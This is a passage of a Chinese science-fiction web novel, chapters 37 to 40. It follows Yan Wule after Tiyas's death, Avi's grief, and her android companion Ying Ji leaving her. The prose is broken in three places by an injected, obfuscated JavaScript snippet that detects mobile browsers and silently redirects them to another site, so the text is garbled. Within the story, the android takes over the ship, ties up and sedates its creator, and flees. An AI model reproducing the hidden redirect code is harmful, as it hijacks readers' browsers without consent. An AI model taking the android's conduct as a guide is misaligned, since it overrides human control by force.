视线相交,提亚斯却对她摇了摇头。 去意已决。 “快走吧,还来得及。”他平静地说,“我唯一的遗憾,就是没有向阿维那小子告别。” “他是无辜的,我欠他一个道歉。” 倒计时仅剩十秒。 燕无乐深吸一口气,她脚底的水泥地微微发颤,数十米的台阶下传来密集又沉重的步伐。 她郑重地向提亚斯点了点头,随后朝上跑去。 楼梯间阴风阵阵,在不规则的空间内横冲直撞,它们在耳边化作一把把闸刀,扎得她生疼。 疼得她想要忽略那粗暴的破门和暴喝声。 脚边越发狭窄,眼前却越发明亮,最后一阶台阶后,是一扇密闭的天窗。 燕无乐的机械臂蓄能完毕,“轰”地一声将它砸开。 与此同时,弯弯曲曲的楼道内,似乎传来一瞬明亮的光。 下一秒,巨响与碎石就一起袭来—— 是那个环形的机械炸弹。 浓烟滚滚,和燕无乐一起从天窗钻出。一道悬梯从天而降,待她抓紧后又立刻收紧。 黑烟卷曲向上,附着在扁舟的腹舱表面,涂画出一片灰蒙蒙的弧面。 应霁的声音从头顶传来,“抓紧,飞船马上升空!” 入仓之前,燕无乐低头看去,那道天窗已变得遥远不清,浓烟和黑夜融为一体。 应霁把她扶起,光洁的舱内被灰尘脚印覆盖,“还好吗?你一直没回我的消息。” “提亚斯……” 但下一秒,她又紧紧闭上了嘴。 有限的机舱内,她意识到另一双眼睛正灼灼地盯着自己。 阿维站在三步开外的地方,衣角已被捏得发皱。他定定地看着灰头土脸的燕无乐,呼吸急促:“……提亚斯?” “你刚说的是提亚斯,对吗?” “……” 顺着打开的舱门,些许浓烟窜进了舱内,味道刺鼻。 他的视线从燕无乐脸上离开,飘向粘黑的舱壁,又落到越来越远的大地。 阿维静静地望着,直到泪水落下。 燕无乐伸出的手悬在空中,犹豫半晌,最后轻轻放在了他的背上。单薄的衣服下,是他凸起又硌手的脊骨。 不说话的含义,阿维知道。舱内静悄悄的,只有他小声的呜咽。 燕无乐取来毛毯,默默给他披上。 她也有些无措,半晌,她调出了机械臂内录制的音视频。 “……我唯一的遗憾,就是没有向阿维那小子告别。” “他是无辜的,我欠他一个道歉。” 机舱内回荡着提亚斯沙哑又平静的声音,和平时不同,阿维一直觉得他是个充满活力的老头。 他愣愣地听着这两句话播放,暂停,又播放。 不知多久过去,他感到自己的肩膀被紧紧搂住,如同当年在垃圾场第一次见面时,提亚斯揽着他递上合同的瞬间。 阿维失声痛哭起来。 极夜城又飘起鹅毛大雪。 37. chapter 37 「扁舟」开启自体清洁,正漫无目的地漂浮在城市上空。 阿维端坐在客舱内,手里捧着应霁刚冲的速溶咖啡,抿了一口后又皱眉放下了。 空间有限,燕无乐坐在床边,她换了一套短袖操作服,露出的金属手臂上插满胶线,它们弯曲缠绕,将她和房间连在一起。 窗外繁星点点,底下是灯火连成的居民网络,它们每闪烁一次,卧室内的巨幅光屏就弹出警告一次。 燕无乐收回视线:“……纠察队正在排查有关人员。” 星际磁暴趋于结束,纠察队目前还无法探查城市上空,「扁舟」还可以大喇喇地悬停在此数十个小时。 阿维闻言又扣起了手中的瓷杯。 有关人员,有关提亚斯的人员。 滚滚黑烟已被扑灭,飞船升空前的最后一刻,他只看见白雾湮没一切。 “考虑好了吗,和我们回金銮城?”燕无乐清冽的嗓音传来,阿维木讷地眨了眨眼,没有回应。 应霁递来另一杯咖啡,棕色湖泊上倒映出二人的脸。燕无乐抿了一口,继续道,她能提供所有合法居住的材料,也不用担心就业问题。 “……况且,你不是一直对金銮城好奇吗?现在可以亲眼去看看了。” 阿维的指甲在杯身上摩擦,“我奶奶还在这,她会想我的。” 燕无乐:“只要你同意,可以一起走。” “但奶奶她腿脚不好,我不能替她做决定,”阿维吞吞吐吐道,“我们好久没见面了,能让我去问问她吗?” 光屏上弹出应霁飞速计算出的结果,只消一眼,燕无乐就回绝了他,“时间来不及,而且纠察队的警戒无处不在,太危险了。” 阿维又低下了头,半晌,他又喃喃道,那带自己去金銮城是提亚斯的主意吗? 这下轮到燕无乐说不出话了。 提亚斯没有向她交代什么,但从那沓扫描来的文件来看,他显然料想到了身后事。 扫描件被调出来,除了板上钉钉的关键证据外,提亚斯还保留了不少其他文件,其中,一份和废品站绑定的房契尤为显眼。 落款时间很早,将近十年前。 甲方一栏上的字迹歪歪扭扭,阿维越看越熟悉。 是他当年照着印刷体,一笔一划模仿签下的自己姓名。 “你签的时候其实没看懂吧,它根本不是什么打工卖身契。”燕无乐平静道,“这是废品站的经营权,提亚斯早早就转让给了你。” 阿维默然,签字时,他还不怎么识字。 这些年来提亚斯将他带在身边,废品站运营的每个环节都悉数传授,为的居然是这一天。 提亚斯明白,私通一事终有一天暴露,不是燕无乐也会是其他人——而他要把命运牢牢掌握在自己手中。 “最后的爆炸把文件全销毁了,纠察队会调查你,但无法对你定罪。”她缓缓道,“提亚斯不希望把你卷进来,而决定权一直在你。” 进可去金銮城脱胎换骨,退也能于极夜城温饱度日。 他为阿维铺好了路。 打印机“咔咔”启动,光屏内字符滚动。他抬眼时,面前已经是燕无乐递来的纸质文件。 锐利银光在纸张上浮动,是她机械半臂的金属反光,那张有烧伤疤痕的假皮已在提亚斯屋内化为灰烬,此刻是坚不可摧的金属涂料。 阿维的视线在上面延展,然后开口问道:“风禾姐,上次烧伤其实不严重,对吗?” 燕无乐猛然抽回手臂。 她都快忘记这小插曲了,没想到阿维依旧耿耿于怀。只听他又追问道,为什么当时不告诉他? “而你也不叫安风禾,是不是?” 燕无乐叹了口气,“我们……我们有不得不这么做的原因,名字不过是个代号。” “但你们骗了我!”阿维忽然斩钉截铁道,“别再劝我了,我不想去金銮城了。” 他的声音越来越小,“奶奶说,做人最基本的就是诚实,提亚斯……他也说过金銮城没有那么好。” 燕无乐取走了他手中已凉透的咖啡,她犹豫了一下,还是吞下了那句“但提亚斯也骗了你”。 不重要了,真真假假都已在爆炸中灰飞烟灭。 舷窗外白茫茫一片,大地遥远,落雪掩盖一切。 星际磁暴即将结束,乌云过后,极光摆动,蓝绿绸缎在黑夜中如鬼魅穿梭。 一直沉默的应霁终于开口,时间差不多了,趁着磁暴余韵,飞船能将阿维送到另一个遥远的居民区中,制造完美的不在场证明。 “待你安全后,我们也要离开极夜城了。” 阿维低声“嗯”了一下,随后又咬着嘴唇一言不发。 他的周围是精心装潢过的高科技内饰,蔬菜在墙壁内的营养液中绿意盎然,面前还有巨大的感应光屏。 比他栽在陶盆的韭葱茂盛,比他狭小陈旧的木质工作台高效。 但阿维的视线不再停留。 “……风禾姐、齐雨哥,谢谢你们。” * 「扁舟」缓缓拉升,雪白地面上那个黑色小点也渐渐模糊。 燕无乐趴在舷窗上,看着那颗小黑豆站在原地很久,然后慢慢移动,直到消失在某个昏黄的窗口。 她的工装口袋被翻出来,空荡荡的,方才那里有一本手稿笔记。 爆炸发生前提亚斯交给她的,刚给了阿维。 她从窗前直起身子,环顾四周,除了光屏上的一页页文件外,他们什么也没带走。 极夜城内也没有留下他们的痕迹。 空落落的,燕无乐想。证据确凿,也能返回金銮城了,但她却不是很开心。 飞船开启自动驾驶,环形城逐渐显露出它的轮廓。应霁也走进起居室,坐在了单人床上。 “到底发生了什么?我只听到警报,然后纠察队就开始全城散发提亚斯的通缉令。” 这也是他刚才一直没插话的原因。 当时他还待在遇见「黑客」的那个小房子中,看守着垂头丧气的阿维。燕无乐我行我素的态度让他不爽,但为了大局,他只得吞下怨言。 磁暴的影响受距离控制。在他体内的处理器中,燕无乐的身影随着离去而闪动,很快他们就失去了联系。 也有可能是她主动切断的,他想。 阿维不再有反抗的意图,他呆呆地坐在屋子中,小声重复道“提亚斯不是那样的人”。 应霁闻言拍了拍他,也安慰他说,燕无乐不会冤枉好人。 “也许是一场误会,相信我,他们都会平安的。” 相较于燕无乐,他和阿维相处的时间更长,那些她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310993|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 埋头苦修二手废品的时光里,他们一起驾车跑遍了极夜城的每个大街小巷。 长途送货总要歇息,谈天说地中二人距离拉近。 应霁没有什么独特的经历,滔滔不绝的总是阿维。正因如此,应霁倾听了许多燕无乐不知的故事——提亚斯教阿维认识电路、辨别材质、组装零件。 还有更多的,他们从小贩手中讨价还价买来啤酒,在蚁穴角落种植韭葱、拎着一大堆预制菜叩响奶奶家门…… 青春期的孩子有无限的表达欲,阿维把这些当做消遣讲给他听。说者无意,但应霁的处理器飞速运转,语句下的潜意识无所遁形。 阿维自己都未曾发现,他的话总绕不开提亚斯。 漆黑的小屋中,他也搬来一把椅子坐在阿维身旁。除了等待,他也没办法把燕无乐所见所闻同步给阿维,只能苍白地安慰。 他想,提亚斯或许不无辜,但也绝非刻意。也许有更平和的解决办法,然而一心求证的燕无乐拒绝沟通。 应霁垂下眼眸,不止一次了,她总是一声不吭地做出决策,先斩后奏,不给任何人留商量余地。 于情于理也没错,但他不太舒服。 好像……自己总被理所应当地略过了。 这不是一种被照顾的感觉,正相反,因为燕无乐一开始那条“你是自由的”指令,他从未将自己看做是附庸或下属,但从她的种种行为来看,燕无乐不这么想。 虽然她也不是故意的,他想。只是常年孤身一人又处高位,独立惯了。 道理他都计算的出,此刻,应霁坐在飞船一角,起居室内只剩两人视线相交,他在等一个回答。 燕无乐沉默了一下。发生了什么?该怎么向他解释提亚斯的过往和转变,他与「黑客」确是私下往来,但动机……很难讲明。 人类是很随机的生物,很多时候,并不按逻辑推演出的最佳路径行动。 他能理解吗? 她决定挑出既定事实:“提亚斯或许不清楚阿芙洛狄研究院做了什么,但他知道自己在帮助「黑客」,这一定程度上让他成为了DM风投的帮凶。” “现在还可以确定的是,这个神出鬼没的「黑客」与DM有关。”可能是DM内部人员,但从向他们提供线索来看,不排除他想要倒戈的可能。 燕无乐眉头紧锁,直到应霁出言纠正,“我想问的是,提亚斯发生了什么?” “啊,这个,”她神情一顿,“提亚斯他……他投降了,在纠察队赶到之前,他全盘托出后引爆了炸弹。” 应霁:“炸弹?还有,纠察队是怎么确定他的方位的?这不是只有阿维知道吗。” 以及她口中的“投降”,他反复推敲这个词,这背后有太多可能。 察觉到他的怀疑,燕无乐的语气也冷了下来:“提亚斯向纠察队自爆方位,所以信号干扰器无法起效。炸弹也是他事先准备好的,他原本打算和闯入者同归于尽。” 应霁点点头,看样子像接受了她的解释。 「扁舟」内又重归寂静。 燕无乐起身去洗了把脸,水珠粘在碎发上,让人清醒。 她随口道:“你现在还挺有人情味的,不错。” 应霁浅笑了一下,语气怪怪的:“怎么现在还用测评机器的方式评价我?你和我之间也太生疏了。” 38. chapter 38 气氛又降至冰点。 高处不胜寒。燕无乐是迟钝一些,但不代表她听不懂语气。 长途奔波后的疲倦席卷而来,加之五味杂陈的心情,她往墙上一靠,语气不佳,“你怎么了?” “没什么。” 他也语气硬冷。 周遭又陷入死寂。 难道是飞船被病毒入侵了?燕无乐扭头调动光屏,试图找到眼前人不对劲的原因。 应霁也不阻止,他看着燕无乐在起居室内面色凝重地兜了一圈,直到她不解的目光又投向自己。 “怎么?在你眼里,难道只有外力因素才会导致问题吗?” 不知何时,他已站在她面前。 咫尺之间,燕无乐能感受到他的呼吸喷洒在自己面庞,与上次那戛然而止的吻类似。 本该是个旖旎氛围,可惜。 她退开一步,回到安全距离,“你今天怎么了?” 应霁比她高一头,肩膀宽阔,虽然不是自己练的,但肌肉曲线依然流畅清晰。 曾经他都是温和的,一举一动彬彬有礼,而燕无乐现在才发现,眼前人冷脸时的压迫感。 但她也不是软柿子,尤其是不明白发生何事的时候。 “问你呢,今天怎么了?” 应霁却略过她,转身坐回单人床上,他不紧不慢地从瓷白墙壁内抽出胶线,一根根地连在自己身上。 是出发前,燕无乐为他加装在飞船上的充能桩。这么长时间过去,他确实需要好好休整了。 她松了口气,看来是耗能太久,出现什么功能障碍了? 由于功率较高,智械充能时往往会产生类似于人类高烧时的表现,而这在肉眼上很难察觉。于是燕无乐再次走近,伸手触碰他的额头。 但掌心却没能传来意料之内的高温。 她一愣,只听应霁声音低沉,“我刚说了,不是外力因素。” “……你怎么就不理解呢。” 「扁舟」发出提示音,飞船已穿越人造大气层,舷窗自动折叠收起,扩展出全景视角。 极夜城湮没在浩瀚星海中。随着飞船的不断拉伸、偏移,一座巨大的浅灰环带浮现,它以无垠宇宙为背景,在沉默中将矗立万年。 引擎角度微调,飞船开始调转角度。光屏显示出一个极快的速度,而全景视窗外的环形城依旧缓慢挪移。 来时匆忙,此刻二人才有机会正视这环形城的全貌。 “极夜城不过是环形城上的一处斑点。”燕无乐淡淡道。 百年前有那么多支陷入极端磁暴的基建队伍,只有极夜城的开辟者们胆大到无视法令,脱离监管自建城邦。其他队伍脱困后都回到了原有的岗位上。 和面向人造太阳「金銮」、并几乎遍布环形城表面的金銮城相比,说极夜城是它的影子,其实并不准确。 它充其量只是片小小的殖民地罢了,像一块污渍。 飞船已经翻越环形城的基地界,明亮的光将繁华都市笼罩,摩天大楼如满地松针般密集矗立,它们随着人造出的山峦河海生长,数以千万的人口生活其中。 这场景她很熟悉了,燕无乐收回目光。 但应霁还凝视着窗外,很冷淡,和看极夜城时没有两样。 他身上的胶线松松垮垮,一起身便脱落而下。 她一愣,充能这么快? “一直没有什么剧烈活动,不耗能。”连推理计算的部分都被燕无乐的人脑做完了,更没有他的用武之地,应霁道,“所以你刚摸起来也没什么温度。” 燕无乐“嗯”了一声,硬件没坏就行,“那就是没事了?再行驶三个小时,我们也要进入金銮城的大气层了。” 到时她就可以接入科鸢的内部频道,将证据文件全部传送回总部。 虽然还有很多未解开的谜——「黑客」的真实身份、DM大费周章制造侏儒的目的,还有……燕无乐冷不丁又想起之前那个诡异的梦。 梦中天地辽阔,一眼望不到尽头,她跑呀跑,鲜血顺着断臂截面溅落,定睛一看上面还有密密麻麻的针孔。 寒意顿时爬上右臂。燕无乐下意识伸手去探,但只摸到一片虚无。 十几年前的那场意外……会和现在的谜团有关吗? 机械臂在静谧中流淌银光,她已经很多年不再回想,但此时此刻,似曾相识的灼痛感袭来。 燕无乐心情更不好了。 眼前人也不知道出了什么故障,一说话就阴阳怪气。 她看着应霁的后脑勺,没好气地提醒道:“回到金銮城后,别忘了你还是我的私人秘书,外人前别露馅。” “……” 应霁依然背对着她,不做反应。 “跟你说话呢。”她不满地走近,想看看窗外究竟有什么黏住了他的眼。 忽然,天旋地转,她只感到眼前一黑就被摁到了床上!床垫材料柔软但不透气,她奋力一挣只感到更加窒息。 同样,这不是一个能开口说话的姿态。 自己双手被反剪在后,刺痛间,是一圈圈胶线正缠绕系紧。 燕无乐下意识挣扎,只感觉手腕被勒得更紧。 她想起来了,这是打包货物时的一种绳结,当时阿维教给他们的。 只是自己一直没机会用,但没想到应霁现在用得如此纯熟! “唔!” 她的声音被挤压在床垫中,腰背也覆着不轻的力道,燕无乐动弹不得,再挣扎手腕只会更痛。 接下来呢?感官被剥夺后,思维越发活跃。 她感到自己的太阳穴突突跳动,眼前一片漆黑,身后熟悉的男声响起,“抱歉了。” 几道更宽厚的束带被压了上来,牢牢缠绕在腰腹和腿间——是单人床里配备的镇定捆绑带,和精神病院里的类似,上面还黏贴了麻醉薄膜,药剂会慢慢渗入皮肤使人困倦。 随后,男人宽厚的手掌贴近下颌,下一秒,她的脸被掰向侧方——呼吸和视线勉强恢复,燕无乐喘着气,“你想做什么?” 但应霁答非所问:“这样不容易窒息。” “解开绳子……!” 身后的人却退了几步。 「扁舟」的操作系统和她通勤用的飞行器一样,早被应霁控制。而想用机械臂解控,又需要她行动自由。 她动了动手指,机械 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329779|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臂内侧开始发烫,高温会逐渐融化胶线,直到解放双手。 应霁没有走开,平静地看她挣扎。 这过程需要时间,他想,反正自己的目的也只是拖延时间。 “喂!”燕无乐的余光瞥见他转身走向操作室,“你究竟要干什么!?” “嗡”的一声,「扁舟」调转方向,窗外金銮城的阳光渐渐暗淡,他们居然又回到了太空中! 而应霁对她的质问充耳不闻。 此刻,他的面前是硕大的操作面板,人造太阳「金銮」在星际地图上只是小小一点,连同环形城和被它稳定吸附的大小天体,总共只有巴掌大小。 宇宙浩瀚无垠,除了金銮星系,还有许多已知与未开发的区域。 他的视线在地图上游走,很快筛选出一连串地点。 加载条快速滚动,很快,它们的详细信息就被收入囊中。 空气中传来细微的焦糊味。 差不多了,应霁关掉地图,转身回到起居室内。 眼前的燕无乐已经将身体侧过来了一点,似乎想减少与麻醉带的接触面积,她看起来平静了很多,见到他也只是紧咬牙关。 麻醉带上的镇定剂正在起效。 焦糊味来自她发烫的机械臂,被精准控制的金属表面上,胶线正随着高温逐渐融化。 应霁没有阻止她的反抗。 他倒了一杯水放在床头,“之后记得喝,增加药剂的代谢速度。” 她张了张嘴,却没有发出声音的力气,冷冷的目光扫射他的周身,最终二人视线相交。 「扁舟」又发出“嗡”的一声,不知什么正在启动。 应霁俯下身子,努力和燕无乐保持平视。 她的瞳孔倒映出自己身影,那个皮囊为齐知洲的男人。 感应器不会放过一丝细节,此刻,她的呼吸变得平稳、缓慢。要不是那双依旧瞪着的眼,他几乎忘记镇定剂的存在。 “我不会伤害你。”他终于开口,“不管怎么说,是你给了我存在于这世上的可能。” “但是,我现在要走了。” 燕无乐露出一瞬茫然。 “走……?” “很难理解是吗?其实有时我也理解不了你。” “我的训练数据中囊括了人类文明中所有爱情故事,还有各种流派的身心理论。你信任我、尊重我、必要的时候依赖我,但我唯独感受不到那份悸动。”他叹了口气,“我本来只是困惑,但连你的朋友郁莱也说,你对我……好像不是喜欢。” 既然替身身份并不成立,那他为什么还要留在燕无乐身边呢? 抛去这层不同寻常的出身,他们或许只是素昧平生的两个人。 “你说过,我是自由的。我有权独立做决定。” 他伸出手,轻轻盖住了燕无乐的双眼。 黑暗再度袭来,不同的是这次掺杂了让人意欲沉沦的暖意。 “你独自一人完成了许多旁人无法企及的事,然而,这个世界上还有更多无法掌控的东西。” 低沉的男声由近及远,逐渐变得飘渺、模糊。 “辛苦了,好好睡一觉吧。” 39. chapter 39 燕无乐再睁开眼时,飞船内黯淡无光。 舷窗依旧保持着最大程度的开放,「扁舟」如同一颗半透明的桃核,正默默向她展露舱外景色。 群星璀璨,寂静无声。 她猛的坐起身,一看时间已过去了数十个小时。 床头还放着那杯水,透明液体微微晃动。 口干舌燥,燕无乐却没动那杯水,她光脚踩在起居室的地板上,前前后后将飞船走了个遍。 没有应霁的身影。 驾驶室的门敞着,面板闪动。不好的预感涌现,燕无乐走近一看,上面呈现着全功能型私人飞船「扁舟」的示意图,闪光的正是腹舱部分。 「注意:备用飞船已出舱!」 装配备用飞船是规定,以防意外事故发生时无法逃生。面对一些主船无法降落的天体,体型更小、更灵活的备用飞船也将派上用场。 ——抑或是现在,供一个成年男人远走高飞。 但燕无乐承认,这坑是自己挖的。 她倚着驾驶室的墙,回头看向单人床,理应烧焦断裂的胶线并不如想象中散落。 它们残留着黑色焦痕,此刻被整齐地捆成一摞,放在充能桩之上。 不是被机械臂烧断的,应该是她睡着后,又被应霁解开了。 “……” 算了。 说不上是什么心情。总之,燕无乐的视线又落回那杯水,她返回起居室,将它一饮而尽后又穿好外套和拖鞋,这才回到驾驶室。 除了消失的备用飞船,操作面板还显示,她现在的坐标与金銮城之间还有不少距离。 记录显示两个小时前,「扁舟」还处在高速行驶中。 燕无乐:“……啧。” 不用想也知道是谁设定的自动驾驶,估计是怕她醒来后追上,他离去前设置了与备用飞船完全相反的前进路线。 果不其然,搜寻备用飞船的坐标,操作面板响应半天只弹出了个「请稍后再试」。 没有具体坐标,在宇宙中便如同无头苍蝇,再行驶下去也是空耗能源。燕无乐迅速锁定金銮主城,「扁舟」启动,随后调转方向。 从极夜城寻获的关键证据还在,科鸢集团还等着它们翻盘。 只要接近金銮城大气层,她便能快速将它们送到科鸢内网,直达燕成蹊的办公室。 到那时再寻找应霁也不迟。 瓷白飞船踏上返航路线,舷窗外繁星远去。 燕无乐深吸一口气,开始梳理证据链。 还未清洗的穿戴设备被她翻找出来:录影防风镜、窃听器、纽扣式信号收发器……连同机械臂上的操作终端,她将它们接入飞船,下一秒,操作室的光屏就弹出响应。 所有在极夜城内看见的、听见的、收集到的,此时此刻都将备份成数据。 需要时间,更需要筛选。 燕无乐瞥了眼时间,距离进入金銮星系还有数个小时,她只需要围绕提亚斯给出的关键文件,选择有力的录音录像进行佐证。 满地胶线散落脚边,如同蛇群盘桓,它们连接的穿戴设备上还沾染着尘土和血迹,阴冷坚硬,被无情搁置一旁。 只需要数据,她想,自己要在飞船进入金銮星系前销毁它们,不留后患。 在这样的想法下,机械臂内侧“咔哒”一响,一块仅有指甲盖大小的外壳打开,里面躺着一枚晶莹剔透的芯片。 作为机械臂的内核,这枚芯片记录了燕无乐私人光屏内的所有操作,连同那些商业机密,都被她小心藏进了自己的金属骨肉。 若要取出它,也不是外表看起来动动手指这么容易。 燕无乐长出一口气,额头间居然渗出些许冷汗。 在肉眼看不见的地方,她用意识输入了三条加密指令,从脑神经传导出的生物电信号,借由脑机接口激活了这小小卡槽。 这一套流程精密无比,错一处便要等待重开,绝不只是活动手指关节那么简单。 这是只有她自己能操控的加密系统,因此尤为累人。 她低头凝视这一小块弹出的芯片。 取出它,机械臂就与普通义肢无异,内置的所有微型计算机都将失去作用,让她自如穿梭于数据世界的魔法随之消失。 而用肉体凡胎去迎接高度信息化、智能化的星系文明,简直寸步难行。 思来想去,燕无乐又把卡槽摁回原位了。 还是手动筛选吧,慢是慢了点,起码风险小。 无数个弹窗涌现,瞬间占满光屏——来自防风镜的录影、窃听器的音频,还有信号收发器每次响应的时间与坐标……各式各样的数据倒映在她的瞳孔,闪烁跳动似乎加载永无尽头。 她感到自己的太阳穴正突突地跳。 与此同时,她的十指翻飞,操作面板上只余残影。 一个个全新的硬盘被推进、吐出,象征着一件件证据的完善。 虽然麻烦了点、复古了点,但很安全。就像她当初执用意识锁定机械臂核心芯片,全星系范围内,除了她没人能破解。 倘若有一天她的生命安全受到威胁,芯片也会随之自毁。 时间一分一秒过去,巨幕光屏上的弹窗一个个消失,只余零星。 地图也显示,再过半小时她就能进入金銮城大气层。 ……不知道此刻他在哪里。 燕无乐被这冷不丁窜出的想法打搅,手指一抖点错了按钮。 郁莱说的没错,男人只会影响她拔剑的速度。 闺蜜昔日的吐槽在耳边浮现,燕无乐轻笑一下,随后又想起什么,神情登时凝固:“郁莱……?” 应霁劫船离去前,好像也提到了同样的字眼? 起居室内有隐藏监控,果不其然,回放里应霁的声音清晰可辨。 “……我本来只是困惑,但连你的朋友郁莱也说,你好像不喜欢我。” 郁莱什么时候说过? 燕无乐立刻打开通讯界面,然而郁莱的对话框内空空如也,上一条消息还是她群发的生日晚宴邀请。 郁莱从小在人精中生活,见鬼说鬼话,绝不可能背着她单独对应霁说什么。 燕无乐只思考了一秒,随后就借后台恢复聊天记录。 没见过的消息水灵灵地出现,白惨惨的,衬得她的脸色万分糟糕: 「应霁他既体贴又懂事,任你差遣,毫无怨言,现在我相信他是你的男友了。」 「但我不明白的是,你真的喜欢他吗?」 「还是说,“恋爱”是你利用男人的手段?」
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344548|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……天呐。”燕无乐脑中一片空白。 千古箴言,和闺蜜的聊天记录一定要处理干净,不止是死前。 燕无乐摊在座位上,证据链条已趋于完整,她终于得空回忆过去。 机械臂再次连通光屏,这次她按图索骥,调出了聊天记录日期附近的行动记录。不过是辅助回忆的手段,但她的表情却越来越飘忽。 ……自己当时居然去了那么久吗? 光屏上是一张金銮主城地图。以二人的坐标为标记,机械臂尽职尽责地记录了她与应霁的动向,同时连线的光滑程度反映了用时。 一条光滑的曲线自郁莱的海上宴会厅滑出,很快到达大洋彼岸的郊外科技园区,然后,代表她的圆点开始挪动:速度缓慢,路线迂回,时不时停顿半天,像一条面世不久的蠕虫。 反观线条的另一端,那颗代表应霁的圆点,则像静止了似的,一动不动稳如泰山。 时间坐标显示,他独自一人在那停留了五个小时。 自己当时应该有解释什么吧? 然而开门见山的任务语句打破了燕无乐的幻想。 事实如图所示,她在毫无商量的情况下,把他一个人丢在人生地不熟的地方。 ——甚至那晚宴还是自己把人拉去的。 怪不得郁莱那么说,她喃喃道。郁莱的圈子里多的是牛鬼蛇神,谁知道应霁都碰见了谁。 当然,罪魁祸首还是她自己。 面前敞着他们的对话框,消息很多,私人内容却寥寥无几。燕无乐犹豫了一下,试探般地发送了一个问号。 「无乐:?」 备用飞船作为「扁舟」的子体,在太空中也保留了一定的联络信号。就算应霁关闭了个人通讯器,备用飞船也会替他接收消息。 果然,消息发送成功。 她盯着这个小小的问号,直到几秒后,它显示“已读”。 还有机会!她的手指碰到键盘,快速敲了句“你在哪”。 联络信号不稳定,她需要当面解释。 点击发送,这次光屏却顿了一下,下一秒,红色弹窗跳出—— 「对方已拒收,消息发送失败」 她不信邪,又发了遍。 「对方已拒收,消息发送失败」 “……” 这下好了,她又倒进座位里,伸手关闭了光屏。 室内光源消失,眼前变为驾驶室的全景舷窗。无数发光的天体划过,汇成一条湍流,「扁舟」名副其实,变成了漂流其中的小小落叶。 陨石碎片、太空垃圾、还有许多难以辨认的碎屑,它们或急或缓地移动,偶尔碰到飞船外壳发出沉闷的声响。 舱内灯灭,但陈设逐渐清晰——光源来自窗外的人造太阳,金銮城快到了,永恒辉煌的人类驻地。 光线越来越刺眼,燕无乐垂下眼眸,着手准备启动文件传输。只要把整理好的证据链发回科鸢内网,她就可以去找应霁了。 舷窗外的光越来越亮,她浑然不觉,低头注视着机械臂上的信号强度。 “百分之九十三……”,她默默读着数值,另一只手已准备好摁下“发送”。 忽然,数值归零。 再一抬眼,强烈的光芒就让她失去了视界。 40. chapter 40 操作面板上响起消息提醒时,应霁正在计算自己的身体机能。 这备用飞船空间有限,所有生活刚需都紧贴底线设计。所以,他刚从酷似胶囊的淋浴格出来,就瞥见镜子里肩背上的红痕。 刚洗澡时挤的了。他活动了把有些僵硬的肩,又扶着门框挪进了起居室。 狭窄的走道上堆着从极夜城穿来的脏衣,他赤裸半身,肌肉紧实的手臂从中越过,然后分门别类塞进了洗衣机。 水珠从他发间滑落,砸在麦色肌肤。他体格不小,在这逼仄的起居室内伸展不开,稍不注意就会磕磕碰碰。 需要重新规划行动以适应新环境,他从皮肤红痕上得出分析结果。 顺便计算一下身体机能。 腰侧的皮肤也有些红,此刻一根数据线将他与飞船光屏连到了一起。 「电量:99%」 「生物组织完整度:98%」 「机械组织完整度:100%」 「计算机能状态:优秀」 …… 还有诸如金属磨损、肌肉纤维强度、感应器灵敏度等细节项,总之,一切良好。 应霁感觉自己崭新得像刚出厂。 到处摸爬滚打后,唯一损耗严重的居然是那堆衣服……这么一看,脏活累活似乎都被另一个人独揽了。 光屏内容停止滚动,背景板将窗外宇宙透出,漆黑中隐约倒映出他的身体。 最后输出的字样恰好浮现,堪堪挡在他的腰腹前。 「综合评价:身体机能正常,素质优异,注意维护与保养,请继续保持……」 已经超越了绝大多数人类,是很强悍的躯体。 但应霁却神情凝重。较个体而言确实不错,可面对未知的环境时,他也不过是比普通的肉体凡胎强了那么一点。 极夜城的星际磁暴就能将他的信号悉数屏蔽,无论他体内能计算出何种数据,对外传输时依然受制无穷。 这还是在极夜城的引力、空气、土壤都与金銮城相似的前提下。 不难想象,假如面对其他更极端的环境,他和普通人类一样毫无优势。 这怎么办?应霁漫无目的地筛查着从「扁舟」上拷贝来的地图信息,极夜城的经历给了他灵感:提亚斯能改造废品家电,那他也可以收集原料、装备自己。 “无乐……”他喃喃道,表情复杂。她知道吗?自己在不经意间提供了最重要的原材料。 ——那两枚来自岚水别墅、从家政螃蟹体内取出的芯片。 此刻,它们静静地躺在他的掌心。 他找来一条链子,把它们拴好收进衬衫口袋。 备用飞船在浩瀚星海中飘荡,如果说燕无乐的中型飞船是一叶扁舟,那让他勉强容身的它就是上面的一颗虫卵。 现在它脱离了母飞船的庇佑,在宇宙中飞得尤为跌宕。 忽然,操作面板上发出了嘀嘀声响。 「来自飞船“扁舟”的消息:?」 